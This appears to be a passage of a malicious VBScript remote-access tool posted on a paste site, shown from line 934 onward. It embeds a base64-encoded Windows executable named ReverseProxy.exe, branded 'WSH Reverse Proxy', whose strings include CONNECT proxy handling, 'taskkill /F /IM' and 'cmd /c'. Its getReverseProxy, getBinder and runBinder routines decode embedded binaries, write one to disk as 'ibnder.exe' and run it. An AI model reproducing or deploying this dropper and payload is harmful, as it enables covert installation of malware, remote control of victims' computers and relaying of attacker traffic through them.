dABSZXBsYWNlAFN0YXJ0c1dpdGgAU3RyaW5nQnVpbGRlcgBHZXRTdHJpbmcAQXBwZW5kAEVuZHNXaXRoAFRocmVhZFN0YXJ0AFJldmVyc2VQcm94eS5SZXNvdXJjZXMucmVzb3VyY2VzAERlYnVnZ2FibGVBdHRyaWJ1dGUARGVidWdnaW5nTW9kZXMAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBBc3NlbWJseUZpbGVWZXJzaW9uQXR0cmlidXRlAEd1aWRBdHRyaWJ1dGUAQXNzZW1ibHlUcmFkZW1hcmtBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBBc3NlbWJseURlc2NyaXB0aW9uQXR0cmlidXRlAEFzc2VtYmx5VGl0bGVBdHRyaWJ1dGUAUmV2ZXJzZVByb3h5LmV4ZQAAADlXAGkAbgBGAG8AcgBtAHMAXwBSAGUAYwB1AHIAcwBpAHYAZQBGAG8AcgBtAEMAcgBlAGEAdABlAAA1VwBpAG4ARgBvAHIAbQBzAF8AUwBlAGUASQBuAG4AZQByAEUAeABjAGUAcAB0AGkAbwBuAAAPUgBQAHIAbwB4AHkAOgAACQ0ACgANAAoAAC1SAGUAdgBlAHIAcwBlAFAAcgBvAHgAeQAuAFIAZQBzAG8AdQByAGMAZQBzAAABAA9DAE8ATgBOAEUAQwBUAAB/SABUAFQAUAAvADEALgAxACAAMgAwADAAIABDAG8AbgBuAGUAYwB0AGkAbwBuACAARQBzAHQAYQBiAGwAaQBzAGgAZQBkAA0ACgBDAG8AbgBuAGUAYwB0AGkAbwBuADoAIABLAGUAZQBwAC0AQQBsAGkAdgBlAA0ACgANAAoAAQlFAFgASQBUAAAhdABhAHMAawBrAGkAbABsACAALwBGACAALwBJAE0AIAAAB2MAbQBkAAAHLwBjACAAAAlQAE8AUwBUAAADIAAAHWMAbwBuAHQAZQBuAHQALQBsAGUAbgBnAHQAaAABIWMAbwBuAHQAZQBuAHQALQBsAGUAbgBnAHQAaAA6ACAAAQUNAAoAAAMvAAAV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eAB5AC4AZQB4AGUAAAAAACwABgABAFAAcgBvAGQAdQBjAHQATgBhAG0AZQAAAAAAVwBzAGgAUgBQAAAANAAIAAEAUAByAG8AZAB1AGMAdABWAGUAcgBzAGkAbwBuAAAAMQAuADAALgAwAC4AMAAAADgACAABAEEAcwBzAGUAbQBiAGwAeQAgAFYAZQByAHMAaQBvAG4AAAAxAC4AMAAuADAALgAwAAAAAAAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB3d3d3d3d3d3d3d3d3d3AERERERERERERERERERERwBP/////////////////0cAT/////////////////9HAE//////////////////RwBP/////////////////0cAT/////////////////9HAE//////////////////RwBP/////////////////0cAT/////////////////9HAE//////////////////RwBP/////////////////0cAT/////////////////9HAE//////////////////RwBP/////////////////0cAT/////////////////9HAE//////////////////RwBP/////////////////0cAT/////////////////9HAE//////////////////RwBIiIiIiIiIiIiIiIiIiEcARERERERERERERERERERHAETExMTExMTExMTs7OSXRwBMzMzMzMzMzMzMzMzMzEAABEREREREREREREREREQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/////////////////////wAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAADwAAAB////////////////ygAAAAQAAAAIAAAAAEABAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAHd3d3d3d3d0RERERERERHT///////+EdP///////4R0////////hHT///////+EdP///////4R0////////hHT///////+EdP///////4R0iIiIiIiIhHTMzMzMzMzEfEREREREREwAAAAAAAAAAAAAAAAAAAAAD//wAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAP//AAD//wAAAAABAAIAICAQAAEABADoAgAAAgAQEBAAAQAEACgBAAADAAAAAAAAAO+7vzw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IlVURi04IiBzdGFuZGFsb25lPSJ5ZXMiPz4NCjxhc3NlbWJseSB4bWxucz0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTphc20udjEiIG1hbmlmZXN0VmVyc2lvbj0iMS4wIj4NCiAgPGFzc2VtYmx5SWRlbnRpdHkgdmVyc2lvbj0iMS4wLjAuMCIgbmFtZT0iTXlBcHBsaWNhdGlvbi5hcHAiLz4NCiAgPHRydXN0SW5mbyB4bWxucz0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTphc20udjIiPg0KICAgIDxzZWN1cml0eT4NCiAgICAgIDxyZXF1ZXN0ZWRQcml2aWxlZ2VzIHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MyI+DQogICAgICAgIDxyZXF1ZXN0ZWRFeGVjdXRpb25MZXZlbCBsZXZlbD0iYXNJbnZva2VyIiB1aUFjY2Vzcz0iZmFsc2UiLz4NCiAgICAgIDwvcmVxdWVzdGVkUHJpdmlsZWdlcz4NCiAgICA8L3NlY3VyaXR5Pg0KICA8L3RydXN0SW5mbz4NCjwvYXNzZW1ibHk+DQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQAAAMAAAAsDIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  934.     set spike = (CreateObject("Microsoft.XMLDOM")).createElement("tmp")
  935.     spike.dataType = "bin.base64"
  936.     spike.text = encoded
  937.     getReverseProxy = spike.NodeTypedValue
  938. end function
  939.  
  940. function getBinder()
  941.     encoded = "[binder]"
  942.     if encoded <> "[binder]" then
  943.     set spike = (CreateObject("Microsoft.XMLDOM")).createElement("tmp")
  944.     spike.dataType = "bin.base64"
  945.     spike.text = encoded
  946.     getBinder = spike.NodeTypedValue
  947.     else
  948.     getBinder = false
  949.     end if
  950. end function
  951.  
  952. sub runBinder()
  953.     strsaveto = installdir & "ibnder.exe"
  954.     set objfsodownload = createobject ("scripting.filesystemobject")
  955.     if  objfsodownload.fileexists (strsaveto) then
  956.     objfsodownload.deletefile (strsaveto)
  957.     end if
  958.     dim  objstreamdownload
  959.     set  objstreamdownload = createobject("adodb.stream")
  960.     with objstreamdownload
  961.     .type = 1
  962.     .open
  963.     .write getBinder()
  964.     .savetofile strsaveto
  965.     .close
  966.     end with
  967.     set objstreamdownload = nothing
  968.     if objfsodownload.fileexists(strsaveto) then
  969.     shellobj.run chr(34) & strsaveto & chr(34)
  970.     end if
  971. end sub
Add Comment
Please, Sign In to add comment